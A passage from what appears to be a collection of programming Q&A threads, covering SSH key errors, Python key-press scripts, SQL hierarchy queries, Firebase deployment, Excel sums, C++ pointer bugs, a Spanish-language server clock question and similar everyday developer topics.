debug1: rekey out after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 134217728 blocks
debug1: pubkey_prepare: ssh_get_authentication_socket: No such file or directory
debug1: Will attempt key: kljuc_par_ime.pem  explicit
debug1: SSH2_MSG_EXT_INFO received
debug1: kex_input_ext_info: server-sig-algs=<ssh-ed25519,sk-ssh-ed25519@openssh.co
m,ssh-rsa,rsa-sha2-256,rsa-sha2-512,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha2-nistp38
4,ecdsa-sha2-nistp521,sk-ecdsa-sha2-nistp256@openssh.com,webauthn-sk-ecdsa-sha2-ni
stp256@openssh.com>
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey
debug1: Next authentication method: publickey
debug1: Trying private key: kljuc_par_ime.pem
debug1: Authentications that can continue: publickey
debug1: No more authentication methods to try.
bitnami@<public-ip-address>: Permission denied (publickey)

A: To use a keypair with an Amazon EC2 instance, you should specify the keypair when launching the instance. It is not possible to SSH into an instance using a keypair generated after the instance is launched.
Also, Bitnami AMIs generate a random password for Wordpress, which can be extracted from the System Log after the instance boots.
See: Bitnami: Find application credentials


text:
Q: whats wrong with my script (key press, python) I just wanted to make a simple script that key presses "4" seven times, if I press "4" once.
I want it to work in the background while, and work any time I key press "4"
here is what I tried
import pyautogui
import time
import msvcrt

while True:
    key = msvcrt.getch().lower()

    if key == b'4':
        for x in range(1,7):
            pyautogui.press(4)
            time.sleep(0.3)
        break

I tried to execute this on console and it didn't work. No errors pop up, but no matter how many times I press 4, it doesn't make me press 4 7 more times.
Any help is appreciated.

A: Try:
pyautogui.press('4')

From the documentation press takes strings, if it doesn't work you can also try:
while True:
    if msvcrt.kbhit():
        if str(msvcrt.getch()) == b'4':
            for _ in range(7):
                pyautogui.press('4')

A: Try this
import keyboard
import pyautogui
import time

while True:
    if keyboard.read_key() == "4":
        for x in range(0,5):
            pyautogui.press('4')
            time.sleep(0.3)
        break

A: If you use windows msvcrt could be a solution but we always try to be as universal as possible so I recommend to use a more apropriate library or module like pyautogui or keyboard to get pressed keys.
import keyboard

if keyboard.is_pressed('4'):
    # do anything


text:
Q: Error checking is not working in Javascript I am currently learning Javascript and am having some issue with the following script. Seems like I have not declared the functions. Any help will be appreciated. Thanks.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

  <title>Chapter 7: Example 4</title>

    <form action="" name="form1">
      Please enter the following details:

        Name:

        <input type="text" name="txtName" onchange="txtName_onchange()" />

        Age:

        <input type="text" name="txtAge" onblur="txtAge_onblur()" size="3" maxlength="3" />

        <input type="button" value="Check Details" name="btCheckForm" onclick="btnCheckForm_onclick()">
    </form>

A: You have some syntax errors

  function btnCheckForm_onclick() {
        var myForm = document.form1;

        if (myForm.txtAge.value == "" || myForm.txtName.value == "") {
          alert("please complete the form");
          if (myForm.txtName.value == "") {
            myForm.txtName.focus();
          } else {
            myForm.txtAge.focus();
          } }
    else {
            alert("Thanks for completing the form");
          }

    }

        function txtAge_onblur() {
          var txtAge = document.form1.txtAge;
          if (isNaN(txtAge.value) == true) {
            alert("please enter a valid age");
            txtAge.focus();
            txtAge.select();
          }
        }

        function txtName_onchange() {
          window.status = "Hi " + document.form1.txtName.value;
        }
    <form action="" name="form1">
      Please enter the following details:

        Name:

        <input type="text" name="txtName" onchange="txtName_onchange()" />

        Age:

        <input type="text" name="txtAge" onblur="txtAge_onblur()" size="3" maxlength="3" />

        <input type="button" value="Check Details" name="btCheckForm" onclick="btnCheckForm_onclick()">
    </form>


text:
Q: Getting contact list, profile pictures and emails from Google APIs There are a few questions on individual components of "Sign in with Google" floating around, but I can't find any that refer to the current API (as of July 2015).
I have a "Log In with Gmail" option in my webapp, and I'd like to retrieve:

*

*All emails that I've ever sent and received (if possible)

*A list of all my contacts

*A list of all my contacts' profile pictures (and any other info that may be possible, like location, gender, age etc)

Right now, in my oAuth login I use the following scope:
['profile', 'email','https://www.googleapis.com/auth/userinfo.profile', 'https://www.google.com/m8/feeds']

Then once I have my oAuth token, I make the following API call:
 https://www.google.com/m8/feeds/contacts/default/full?max-results=10000&alt=json&oauth_token={{token}}

This give me a list of contact emails and associated names, but no pictures (at least that I can find) and no other info about contacts.
I'd also like to be able to download all of the user's sent/received emails, I understand that I have to do this via IMAP but I can only find NodeJS implementations that require a username and passwords. Is it possible to do using an oAuth token?
Ideally I'd like to do this all with the one oAuth call, as I'm building an email analysis tool.

A: Gmail provides an HTTP API you can use to access all of a user's sent and received emails.
The Contacts API is basically only information the user has manually entered for the contact. Most users aren't going to be entering age and gender and contacts will only have locations if the user treats it like a traditional address book.
If you want to get something more like a social profile you might want to check out the Google+ people.list API. You will have to find a way to correlate between contacts and Google+ profiles but Google+ profiles are more likely to have photos demographics data.


text:
Q: Java Service Provider Interface for mime-detection in Play Framework? The Java 7 implementation of probeContentType(path) is pretty incomplete so wanted to use Apache Tika for better reliability. I found a post about how to override the probeContentType function via using the Java SPI in Maven but am not sure how to accomplish the same thing in the Play! Framework which uses sbt?

A: Per the link you provided, all you need is to insure that:

*

*The file src/main/resources/META-INF/services/java.nio.file.spi.FileTypeDetector exists

*Its contents are the fully qualified class name of your FileTypeDetector wrapper around Tika

*The file gets copied into the META-INF/services directory in the JAR file when it is built.

Exactly how you perform the last step will depend on how exactly you are building the jarfile. One possible starting point is https://stackoverflow.com/a/9772931/390153.


text:
Q: Hierarchical query without CTE With the lack of CTEs/recursive queries on VistaDB, I'm trying to formulate a viable query with a certain depth to query a PARENT/ID hierarchical self-referencing table. I had several ideas (SQL is from Firebird, as we are using it on the server side):

*

*Do several joins, like this:
SELECT
    "A"."ID",
    "B"."ID",
    "C"."ID",
    "D"."ID"

FROM "NAVIGATION" AS A
    LEFT JOIN "NAVIGATION" AS B ON (B.PARENT = A.ID)
    LEFT JOIN "NAVIGATION" AS C ON (C.PARENT = B.ID)
    LEFT JOIN "NAVIGATION" AS D ON (D.PARENT = C.ID)

WHERE "A"."ID" = CHAR_TO_UUID('00000000-0000-0000-0000-000000000000');

Then COALESCE on the A, B, C, D "ID" columns and use that as a subquery or join source for the actual rows to fetch the required content. However, as the first row on the first level might join onto several other rows, that didn't work - what I would need would be this:
A       B       C      D
0       NULL    NULL   NULL
0       1       NULL   NULL
0       1       2      NULL
0       1       2      3
0       1       2      4
0       1       2      5

Instead - as expected - I'm getting this:
A       B       C      D
0       1       2      3
0       1       2      4
0       1       2      5

Any way to get the additional NULL rows?

*Using UNION with subqueries. However, I can't figure out a viable syntax to get this done.

*Maybe an alternative syntax. We only need a few levels of depth. Technically we could evaluate the result from (1.) in the application, but I prefer a more elegant approach, although it doesn't have to be very fast. We will usually only query two or three levels deep on the client, sometimes only one level. Still, it would be nice not to do it procedurally.
Some sample data as requested:
ID    PARENT    TITLE
0     NULL      'Root Node'
1     0         '1st Level Node'
2     1         '2nd Level Node'
3     2         '3nd Level Node 1'
4     2         '3nd Level Node 2'
5     2         '3nd Level Node 3'

A: It would help if you had sample data.  But, you query cannot return A/NULL/NULL/NULL if there are matching rows in the other tables.
One way to get all hierarchies is to add a NULL value for each of the joins:
SELECT "A"."ID", "B"."ID", "C"."ID", "D"."ID"
FROM "NAVIGATION" AS A LEFT JOIN
     (SELECT N.PARENT, N.ID
      FROM "NAVIGATION"
      UNION ALL
      SELECT NULL, NULL
     ) B
     ON B.PARENT = A.ID
     (SELECT N.PARENT, N.ID
      FROM "NAVIGATION"
      UNION ALL
      SELECT NULL, NULL
     ) C
     ON C.PARENT = B.ID LEFT JOIN
     (SELECT N.PARENT, N.ID
      FROM "NAVIGATION"
      UNION ALL
      SELECT NULL, NULL
     ) D
     ON D.PARENT = C.ID
WHERE "A"."ID" = CHAR_TO_UUID('00000000-0000-0000-0000-000000000000');

A: Here is the complete code for the curious. It can be expanded for more levels of course.
SELECT NAVIGATION.* FROM (

SELECT
    COALESCE("E"."ID", "D"."ID", "C"."ID", "B"."ID", "A"."ID") AS FINAL_ID

FROM "NAVIGATION" AS A LEFT JOIN
(
    SELECT NULL AS "ID", NULL AS "PARENT", NULL AS "TITLE"
    UNION ALL
    SELECT "NAVIGATION"."ID", "NAVIGATION"."PARENT", "NAVIGATION"."TITLE"
    FROM "NAVIGATION"
) AS B
ON ("B"."PARENT" = "A"."ID") OR ("B"."ID" IS NULL) LEFT JOIN
(
    SELECT NULL AS "ID", NULL AS "PARENT", NULL AS "TITLE"
    UNION ALL
    SELECT "NAVIGATION"."ID", "NAVIGATION"."PARENT", "NAVIGATION"."TITLE"
    FROM "NAVIGATION"
) AS C
ON ("C"."PARENT" = "B"."ID") OR ("C"."ID" IS NULL) LEFT JOIN
(
    SELECT NULL AS "ID", NULL AS "PARENT", NULL AS "TITLE"
    UNION ALL
    SELECT "NAVIGATION"."ID", "NAVIGATION"."PARENT", "NAVIGATION"."TITLE"
    FROM "NAVIGATION"
) AS D
ON ("D"."PARENT" = "C"."ID") OR ("D"."ID" IS NULL) LEFT JOIN
(
    SELECT NULL AS "ID", NULL AS "PARENT", NULL AS "TITLE"
    UNION ALL
    SELECT "NAVIGATION"."ID", "NAVIGATION"."PARENT", "NAVIGATION"."TITLE"
    FROM "NAVIGATION"
) AS E
ON ("E"."PARENT" = "D"."ID") OR ("E"."ID" IS NULL)
WHERE "A"."ID" = '00000000-0000-0000-0000-000000000000'
)
LEFT JOIN NAVIGATION ON NAVIGATION.ID = FINAL_ID;

A: Usually temp tables are good replacements for CTEs. In fact, sometimes it's better to use temp tables instead of CTE for performance, especially if you planned to join to the CTE multiple times.
Run this
INSERT INTO #MyCTEReplacement
select ID, ParentID, 0 as Level
from Navigation
where ParentID is null

The loop this, until you measure 0 records affected - a return int that you get from SqlCommand.ExecuteNonQuery()
INSERT INTO #MyCTEReplacement
select ID, ParentID, (X.Level + 1) as Level
from Navigation N
join #MyCTEReplacement X
    on X.ID = N.ParentID
where ParentID is null

You could probably also do this in a stored procedure with a loop. But at least you're not using a CURSOR (ew), and you can add an index to the temp table.
Note: This is pseudocode above: not perfect VistaDB syntax, and not exactly matching your schema needs


text:
Q: Google Firebase Functions deployment fails - what can I do? Error message:
Error: There was an error deploying functions

firebease-debug.log holds this:
 [debug] [2021-11-16T12:12:16.165Z] Error: Failed to upsert schedule function lab2 in region europe-west3

function code:
exports.lab2 =
    functions
        .region('europe-west3')
        .pubsub.schedule('*/10 * * * *')
        .onRun(lab);

What can I do? Google support leads to stackoverflow, so I post it here. Are there better ways to deal with the Google Cloud problems?

A: When you are using scheduled functions in Firebase Functions, an App Engine instance is created that is needed for Cloud Scheduler to work. You can read about it here. During its setup you're prompted to select your project's default Google Cloud Platform (GCP) resource location (if it wasn't already selected when setting up another service).
You are getting that error because there is a difference between the default GCP resource location you specified and the region of your scheduled Cloud Function. If you click on the cogwheel next to project-overview in Firebase you can see where your resources are located. Setting the default GCP resource location same as the scheduler function region, solves the issue.

A: The reason our schedule function deployment failed was because of the cron job formula. For some reason firebase couldn't understand 0 0 3 1/1 * ? *, but could understand every 5 minutes.
It's a shame that firebase doesn't provide a better error message. Error: Failed to upsert schedule function xxx in region xxx is way too generic.

A: I got the same problem of deploying my schedule functions, and I solved it with a few steps as below:

*

*Step 1: Rename the schedule function (for example: newScheduleABC), then only deploy it:

$ Firebase deploy --only functions:newScheduleABC

NOTE: as @Nicholas mentioned, the Unix Cron Format The GCP accepts has only 5 fields: schedule(* * * * *)

*

*Step 2: Delete old (schedule) functions by going to your Firebase Console : https://console.firebase.google.com/.../functions , you will see all of your functions there. click on the vertical ellipsis at the end of a function and click delete.

That's it. There should be no problem from now.
You can read more from Manage functions


text:
Q: how to choose and sum data from excel table automatically I'm setting up an excel data table that i need to make a monthly statistics from it. how can i automatically choose a characteritic from the table and get all its values sumed up ?
This is a garage based data, that includes daily entries and the productivity of every technicien on a daily basis. What i'm asking for is, can i find a way to sort all 5 techniciens in a different table and get their productivity summed up automatically ?
here is the data table and an example for what i am trying to do.
n   Date    CLIENT  Date d'entrée     MO    Techniciens    HT€        Prestation

1   01/03/2019  YAYA    01/03/2019  30 900  FLORENT 30 900  Passage au banc

2   05/03/2019  DAVID   05/03/2019  30 000  LOBA    30 900  Passage au banc

3   07/03/2019  NAME    20/02/2019  60 000  YAPO    60 000  Ctrle injecteurs

4   08/03/2019  MATFORCE    01/03/2019  39 000  LOBA    42 151  Passage au banc

what i want is to have another table with the techniciens name in it and the sum of HT€
technicien  heures factures/mois

PRINCE  10 000

MOUSSA

ETIBOIS

A: *

*Select Data

*Insert -> Pivot Table

*Set Technicians as Rows and Sum of HT as Values

Source data was slightly altered to better illustrate the answer

A: Like @Marc in the comment to the question, I would suggest SUMIF(), SUMIFS() or Pivot Tables.
Pivot Tables are the easiest as they can SUM by multiple criteria without a lot of programming.  But they only do one thing at a time so SUM and AVERAGE need to be done separately.
SUMIF(range,criteria, sumrange) will return the sum of all of the cells in sumrange that are in the same row where the value in the range meets the criteria for example:
=SUMIF(A1:A999,="Charlie",B1:B999)
Where A1:A999 has the technicians' names, B1:B999 has their billing amounts
SUMIFS() is similar but allows multiple selection criteria.


text:
Q: Prove or disprove that any solution of ODE is bounded on $\mathbb{R}$? Please help me to solve the following problem:
Differential equation $y''+y=f(x)$ has the solution $g(x)$ on $\mathbb{R}$ such that $g(x)$ is bounded.
Is it true that any solution of this equation is bounded on $\mathbb{R}$?
Unfortunately I have no ideas how to handle this question.
I do not need full solution for this problem, just the answer and hint why the answer is true or what should I notice and know to provide the answer myself.
Thanks a lot for any hints and answers!

A: This is a linear non-homogeneous second order equation.
Since $u_1(x) = \cos x$ and $u_2(x) = \sin x$ are independent solutions of the linear equation $y'' + y = 0$,
the solutions of your equation are of the form
$$
y(x) = c_1 \sin x + c_2\cos x + g(x),
\qquad c_1, c_2\in\mathbb{R}.
$$
Now it is easy to conclude.


text:
Q: php xmlWriter adding to existing node I have a situation where there was some old code which uses xmlWriter stream to parse files, and for each file write an element with that file name, this works fine when the file names are unique.
$xml = xmlWriter
foreach file in files
    $xml->startElement($fileName)
        ....existing logic adding file content to the new element.
    $xml->endElement

But now, the requirement changed and i might have files with same name, but for the produced xml there should only be one element per unique file name.
Is there an easy way i can do this w/o changing my existing code much? i know this is kind of against the whole point of being a stream, but life sucks, right?

A: I can see a couple of solutions, but all of them boil down to creating multiple nodes.
The first is multiple nodes for multiple files, but each file has a path attribute. Given these:
$fl1 = '/home/the_spleen/spleen.txt';
$fl2 = '/home/the_bowler/not_enough_beer/spleen.txt';

Output something like this:
<spleen path='/home/the_spleen/'><!-- spleenerficy --></spleen>
<spleen path='/home/the_bowler/not_enough_beer/'><!-- no. just no. --></spleen>

Major benefit? it allows you to create and iterate in almost exactly the same way you were. Detriment? It gets rid of the one name, one node in that node's parent.children.
The other option would be to create sub-elements. Given the same files:
<spleen>
   <fl path='/home/the_spleen/'><!-- fl-ify! --></fl>
   <fl path='/home/the_bowler/not_enough_beer/'><!-- drink! --></fl>
</spleen>

The benefit? There is a 1:1 relationship between unique file basenames and nodes. The detriment? You're going to need to add recursion logic.
Given those choices, I would go with the first, personally. Addition of recursion logic just seems like it could lead to all sorts of badness and annoying re-factoring. But I only have a limited view of your project from here.


text:
Q: Rsync Bandwidth usage explination I have an rsync script that currently backs up from one internal hard drive to another, I am looking at adding an offsite backup ( rsync over ssh ), My question is what would the bandwith usage be for that. Here is a sample output of what my log shows
sent 86511816 bytes  received 12798 bytes  5967214.76 bytes/sec
total size is 16458790438  speedup is 190.22

I am trying to figure out if I add this offsite will it be sending 15 GB ( total size is ... ) or .08 GB ( sent ... )

A: I think it will only be 0.08GB. Total size is the size of the entire backup.
So it is something like total = (sent + received) * speedup.


text:
Q: Do you know of any effort to integrate PySide/PyQt development in Qt Creator? I would love to program in python using only QtCreator. I have already used QtCreator to teach GUI programming to undergraduate students and they loved it. We have discussed several times the possibility of switching to python, but the lack of a good IDE to develop PySide/PyQt applications has refrained us to do so.

A: Have a look at https://github.com/PySide/QtCreator

A: I think it all depends on how you treat Qt Creator while you are developing Qt programs. There are lots of cool stuff in Qt Creator but if we focus on 2 major parts: Code Editor & UI Designer, the situation is much easier to realize.
I think it's easier to just use the UI Designer part with PyQt and put Editor's task to something else. You can check this Creating GUI Applications with PyQt and Qt Designer.


text:
Q: What does the number at each step in debug mode mean in SWI Prolog? In SWI Prolog you can enable tracing via trace.. The following is an example taken from http://www.cs.ucsb.edu/~kyledewey/cs162w17/debugging_prolog.html
[trace]  ?- X = 2, allBetween(X, 0, 3).
   Call: (7) _G1752=2 ? creep
   Exit: (7) 2=2 ? creep
   Call: (7) allBetween(2, 0, 3) ? creep
   Call: (8) 0=<3 ? creep
   Exit: (8) 0=<3 ? creep
   Call: (8) 0=2 ? creep
   Fail: (8) 0=2 ? creep
   Redo: (7) allBetween(2, 0, 3) ? creep

There is a number at the beginning of each step. I suppose it means something like depth, since it decreases at Fail and Redo. However, I don't know why it doesn't start from 0, but a number such as 7 or 8 (in all of my programs).
I tried to search the references on Prolog website but couldn't find it.
What does it mean exactly and why does it start from 7/8?

A: From the Swi-Prolog documentation:

The tracer shows the port, displaying the port name, the current depth
  of the recursion and the goal.

Taken from: http://www.swi-prolog.org/pldoc/man?section=debugoverview
Also, GNU Prolog documentation has some nice explanation of Prolog debugging as well: http://gprolog.univ-paris1.fr/manual/gprolog.html#Running-and-stopping-the-debugger


text:
Q: concept feedback for a multi-client server c++ I am currently writing a server application that should instruct multiple clients.
I am unsure about the concept i have designed and would like to receive feedback on it.
There are several identical clients that record and process sensor data. In addition, the results are sent to the server so that the server can react if necessary and send new parameters to the client.
The client should continue to work after the connection has ended and try to reconnect at the same time. If there is no connection, data do not have to be transmitted subsequently.
My concept is as follows:
The client logs on to the server.
The client requests an initialization -> server ok.
The client requests parameter A -> server sends parameter
The client requests parameter B -> server sends parameter
...
The client requests parameter Z -> server sends parameter
The client sends initialization finished -> server says ok

endless loop
    Server queries measured value X -> client sends measured value
    Server sends parameter Y -> client says ok.

So first the client is the master and asks for the initialization parameters it needs, then the server and client swap roles and the server becomes the master.
Should the connection break, the client should reconnect to the server. but would then with the command:
The client sends initialization finished -> server says ok

start so that the initialization is skipped.
The request of parameters runs as follows:
Infinite loop
    Send (command)
    Timout = 1 second
        Receive
    if (! Timout)
        break

so i send the command and wait a little, if no answer comes i send the command again. this is shown here in abbreviated form. I wrote it in c ++ and I use several state machines. The state machines naturally also catch errors when the connection is interrupted and jump back to the initialization status ...
Since this is a multi-client application, I find it a little difficult. it runs as a single client. I have a class client in which a state machine and a socket are stored. the instance runs in a separate thread.
My problem now is, if the connection is lost, how can I establish a new connection (from an old client) to its instance (state machine). i would do this over some id comparison. so that the client sends his id first of all. (maybe also mac address ???)
I currently keep the connections to all clients open at all times. is that state of the art? or should you send a command, wait for an answer and close the connection again and then reconnect if necessary?
Many Thanks

A: Once TCP connection is established
each side can send  for data.
Just that you have to get write -> read  sequence correct.
This can be easily implemented using non blocking socket IO.

"My problem now is, if the connection is lost, how can I establish a
new connection (from an old client) to its instance (state machine). i
would do this over some id comparison. so that the client sends his id
first of all. (maybe also mac address ???)"

One solution is each client has a UUID, Client must tell server every time it connects its ID , server can keep a map of UUID vs client socket connection.
If Client is lost server can delete the mapping. Both server & client can detect lost connection that should not be a problem.


text:
Q: two-dimension array after fgets? I´m learning to work with files in php, first i made this function for writing to the file, it´s quite simple:
function zapis_do_suboru($zapisovany_subor, $obsah_suboru)
{
    $pracovny_subor = fopen($zapisovany_subor,"w") or die("Chyba pri otvarani suboru");
    fwrite($pracovny_subor, $obsah_suboru) or die("Nejde zapisovat do suboru");
    fclose($pracovny_subor);
    echo "Zapis $zapisovany_subor prebehol uspesne.";
}

Then I made function for reading from the file, but I was little stuck here, because my book is explaining how to read just one row, but then i googled little bit and found some solution and made this function for reading from file:
function citanie_zo_suboru($citany_subor)
{
    $pracovny_subor = fopen($citany_subor,"r") or die("Chyba pri otvarani suboru");
    $j = 0;
    while(!feof($pracovny_subor))
        {
        $pole[$j] = array(fgets($pracovny_subor, 4096));
        $j++;
        }

    fclose($pracovny_subor);
    return $pole;
}

Then i wanted to test it, so i create two variables:
$subor = "textsubor.txt";
$text = <<<_END
Riadok1 blabla
Riadok2 blabla
Riadok3 meno suboru: $subor
_END;

And this calling of functions:
zapis_do_suboru($subor, $text);
echo "
";
foreach (citanie_zo_suboru($subor) as $index =>$popis)
    echo $popis."
";

But the problem is, that function citanie_zo_suboru is creating two-dimension array, so the output was only "array array array array". With print_r and little bit of trying i found out, that when i change:
foreach (citanie_zo_suboru($subor) as $index =>$popis)
    echo $popis."
";

to:
foreach (citanie_zo_suboru($subor) as $index =>$popis)
    echo $popis[0]."
";

it's doing exactly what i wanted. Can someone tell me why my function is creating two-dimension and not just classic one-dimension array? I would be really grateful if you could. Thanks

A: You are storing array in array key:
$pole[$j] = array(fgets($pracovny_subor, 4096));

So, $pole[0] should further contain array.

A: To simply write a file you can use file_put_contens() : http://php.net/manual/fr/function.file-put-contents.php
To read a file you have the same file_get_contents() : http://php.net/manual/en/function.file-get-contents.php
To read a file and store each line as value in an array use file() : http://www.php.net/manual/en/function.file.php
I hope this 3 function can help you in your current issue.


text:
Q: IntegerSet in C++ I am having problems with an assignment. The assignment is to create an IntegerSet
an IntegerSet is an array of 100 elements that represents the numbers from 0 to 99
for example if the number 5 is present in set a then a[5] = 1, an empty set is an array of zeroes.
I created a class called IntegerSet and here is the code in integerSet.cpp
#include "integerset.h"
#include <iostream>
using std::cout;
using std::endl;

IntegerSet::IntegerSet(){
    int temp[100] = {0};
    set = temp;
}

IntegerSet::IntegerSet(int * setPtr) {
    set = setPtr;
}

void IntegerSet::insertElement(int toInsert) {
    if(toInsert < 100 && toInsert >= 0) {
        set[toInsert] = 1;
    }
}

void IntegerSet::deleteElement(int toDelete) {
    if (toDelete < 100 && toDelete >= 0 ) {
        set[toDelete] = 0;
    }
}

IntegerSet * IntegerSet::unionOfSets(IntegerSet * otherPtr) {
    int newSet[100] = {0};
    for(int i = 0; i < 100; i++ ) {
        if (this->set[i] == 1 || otherPtr->set[i] == 1) {
            newSet[i] = 1;
        }
    }
    return new IntegerSet(newSet);
}

IntegerSet * IntegerSet::intersectionOfSets(IntegerSet* otherPtr) {
    int newSet[100] = {0};
    for(int i = 0; i < 100 ; i++) {
        if(this->set[i] == 1 && otherPtr->set[i] == 1){
            newSet[i] = 1;
        }
    }
    return new IntegerSet(newSet);
}

bool IntegerSet::isEmpty(){
    for(int i = 0 ; i < 100 ; i++) {
        if(set[i] == 1) {
            return false;
        }
    }
    return true;
}

bool IntegerSet::isEqualTo(IntegerSet * otherPtr) {
    for(int i = 0; i < 100 ; i++) {
        if(this->set[i] != otherPtr->set[i]) {
            return false;
        }
    }
    return true;
}

void IntegerSet::printSet() {
    if(isEmpty()) {
        cout << "---" << endl;
    } else {
        for(int i = 0; i < 100 ; i++) {
            if(set[i] == 1) {
                cout << i << ' ';
            }
        }
        cout << endl;
    }
}

IntegerSet::~IntegerSet() {
    delete[] set;
}

The class has private member int * set;.
This is the main function used to test my class:
#include <iostream>
#include<new>
#include "integerset.h"

using std::cout;
using std::endl;

int main(int argc, char *argv[])
{
    IntegerSet * set1Ptr = new IntegerSet();
    set1Ptr->insertElement(1);
    set1Ptr->insertElement(2);
    set1Ptr->insertElement(3);
    set1Ptr->insertElement(50);
    IntegerSet * set2Ptr = new IntegerSet();
    set2Ptr->insertElement(0);
    set2Ptr->insertElement(3);
    set2Ptr->insertElement(2);
    set2Ptr->insertElement(51);
    set2Ptr->insertElement(100);
    set2Ptr->insertElement(99);
    IntegerSet * set3Ptr = set1Ptr->unionOfSets(set2Ptr);
    IntegerSet * set4Ptr = set1Ptr->intersectionOfSets(set2Ptr);
    cout << "First Set" << endl;
    set1Ptr->printSet();
    cout << "Second Set" << endl;
    set2Ptr->printSet();
    cout << "Equal ? : " << set1Ptr->isEqualTo(set2Ptr) << endl;
    cout << "Intersection : " << endl;
    set4Ptr->printSet();
    cout << "Union : " << endl;
    set3Ptr->printSet();
    system("PAUSE");
    return EXIT_SUCCESS;
}

This the output I get when running
First Set
16 19 35 45 46 54 66 84
Second Set
0 1 10 12 13 14 19 35 45 46 54 66 84
Equal ? : 1
Intersection :
16 19 35 45 46 54 66 84 98
Union :
0 1 10 12 13 14 19 35 45 46 54 66 84 98

I tried tracing and I have no idea what's wrong, so any help is really appreciated.

A: IntegerSet::IntegerSet(){
   int temp[100] = {0};
   set = temp;
}

That is creating a local array of 100 elements and storing a pointer to it in the member set. The problem here is that the lifetime of temp is restricted to the constructor, and as soon as the constructor exits, the array is destroyed and what you have is a dangling pointer (a pointer to a block of memory that is not valid).
If you need to use pointers then you should dynamically allocate the memory and make sure to release it in the destructor. If not, you can declare the array as a member attribute of your type and avoid the pointers altogether.

A: remember, for every "new" you are calling, you have to have a delete.
IntegerSet::IntegerSet(){

           int temp[100] = {0};
           set = temp;

}

I don't think that your constructor makes sense to what you are trying to accomplish.
In your destructor you include:
 IntegerSet::~IntegerSet() {
 delete[] set;
 }

the delete is great IF you have dynamically allocated the array in the first place. If you want to keep up with all of this unnessesary pointer stuff, your constructor should look like this
IntegerSet::IntegerSet(){

           set = new int[100];
         for(int i; i < 100; i++)
              set[i] = 0;

}

I would not use pointers or dynamically allocated memory at all in this case. The arrays are of no need to grow or shrink. They also do not need to exist after the main function exists. Try to simplify it without all the pointers.


text:
Q: ¿Cómo obtener el reloj JavaScript del servidor? Tengo el siguiente inconveniente, he creado un reloj en JavaScript que está en un input. Funciona bien, pero el problema es que obtiene la hora de la máquina del usuario y quisiera que la obtenga del servidor donde está alojada la aplicación.
Código del script del reloj:

function mueveReloj(){

    momentoActual = new Date()
    dia = momentoActual.getDate()
    año = momentoActual.getFullYear()
    mes = momentoActual.getMonth() + 1
    hora = momentoActual.getHours()
    minuto = momentoActual.getMinutes()
    segundo = momentoActual.getSeconds()

     if (hora < 10 ){
      hora = "0" + hora
    }
     if (minuto < 10 ){
      minuto = "0" + minuto
    }
    if (segundo < 10 ){
      segundo = "0" + segundo
    }

    if (dia < 10 ){
      dia = "0" + dia
    }
     if (mes < 10 ){
      mes = "0" + mes
    }

    horaImprimible = año + "-" + mes + "-" + dia + " " + hora + ":" + minuto + ":" + segundo

    document.getElementById('fechaout').value = horaImprimible

    timeout = setTimeout("mueveReloj()",1000)
}

  <input disabled id="fechaout" />

A: Para poder obtener la hora del servidor, deberás seguir estos pasos:
Paso 1
En el servidor genera un archivo .php con el siguiente contenido:
tuarchivo.php
<?php

echo  date('Y-m-d h:i:s');

Paso 2
Como estás tratando de recuperar dicho valor en tu vista, deberás hacer uso de AJAX para pedir al servidor esa información; en este caso usaré la API Fetch

*

*Primero colocamos un div donde pintaremos la información que nos regresará la llamada al server

código
<input type="text" id="hora">

Finalmente:

*

*En nuestro .js vamos a establecer dentro de una función la llamada al archivo .php que tiene la info. requerida

*Formateamos como texto la data que proviene

*En el segundo then de nuestra promesa recuperamos el input por medio de su id y con innerHTML le asignamos data que proviene del servidor

*Como requerimos que la información se actualice de forma constante, entonces usamos setInterval para indicar que el primer argumento que es el nombre de la función anteriormente creada, se verá invocada cada segundo como lo indica el segundo argumento pasado

Código:

A: Otra posibilidad sería mediante el uso de la librería moment.js que es todo un referente para trabajar con tiempos en Javascript, por la facilidad con que podemos formatear y manejar las fechas1.
Desde el servidor puedes programar código que te devuelva una marca del tiempo (timestamp)  del momento actual, y con moment conviertes esa marca del tiempo en el formato que desees.
Desde el cliente haces una petición cada un segundo (o un minuto si no interesa mostrar los segundos) y actualizas el contenedor que muestra la fecha y la hora.
Código PHP
header("Content-type: application/json; charset=utf-8");
$fecha = new DateTime();
echo json_encode(array("timeStamp"=>$fecha->getTimestamp()));

Este código devuelve un JSON con una clave timeStamp que contiene la marca del tiempo del servidor.
{"timeStamp":1584218642}

Javascript

const url = 'http://main.xfiddle.com/code_65721226.php';
var elDateTime = document.getElementById('dateTime');
lauchTimer();

function lauchTimer() {
  setInterval(async function() {
    const response = await fetch(url);
    const json = await response.json();
    console.log(json);
    moment.locale('es');
    var dateString = moment.unix(json.timeStamp).format("DD MMMM YYYY, h:mm:ss a");
    elDateTime.textContent = dateString;
    console.log(dateString);
  }, 1000);
}

A: En PHP se puede usar time para obtener el timestamp:
echo time();

En JavaScript se descarga el timestamp y se le pone un + a la izquierda para transformar el texto a número, de manera que se pueda aumentar la cantidad de segundos:
var pedido = new XMLHttpRequest()
pedido.onreadystatechange = function(){
  if(descarga.readyState==4 && descarga.status==200){
    timestamp_descargado = +pedido.responseText
  }
}
pedido.open("GET","index.php")
pedido.send()

Ahora en mueveReloj simplemente se va aumentando de a 1 segundo, ++timestamp_descargado cada vez que se llama al setInterval, de manera que no tenga que estar llamando al servidor a cada rato.
var momentoActual = new Date(timestamp_descargado)
++timestamp_descargado

Nota: Las variables en JavaScript deben declararse, puede ser con var o let, en mi caso prefiero var ya que permite una redeclaración en caso que se requiera.


text:
Q: Can a long Word doc, and resulting PDF, be a single sheet? I'm coming to the conclusion that what I'm asking for isn't possible but wonder if anyone here can surprise me.  I am working on a long (70pp) Word MS doc which I would like to turn into a PDF that would be a continuous sheet.  Not even a dotted line would satisfy me. Setting the top and bottom margins at zero and clicking to remove the page breaks doesn't help and the maximum setting for the height of a page in Word appears to be 55.87cm.
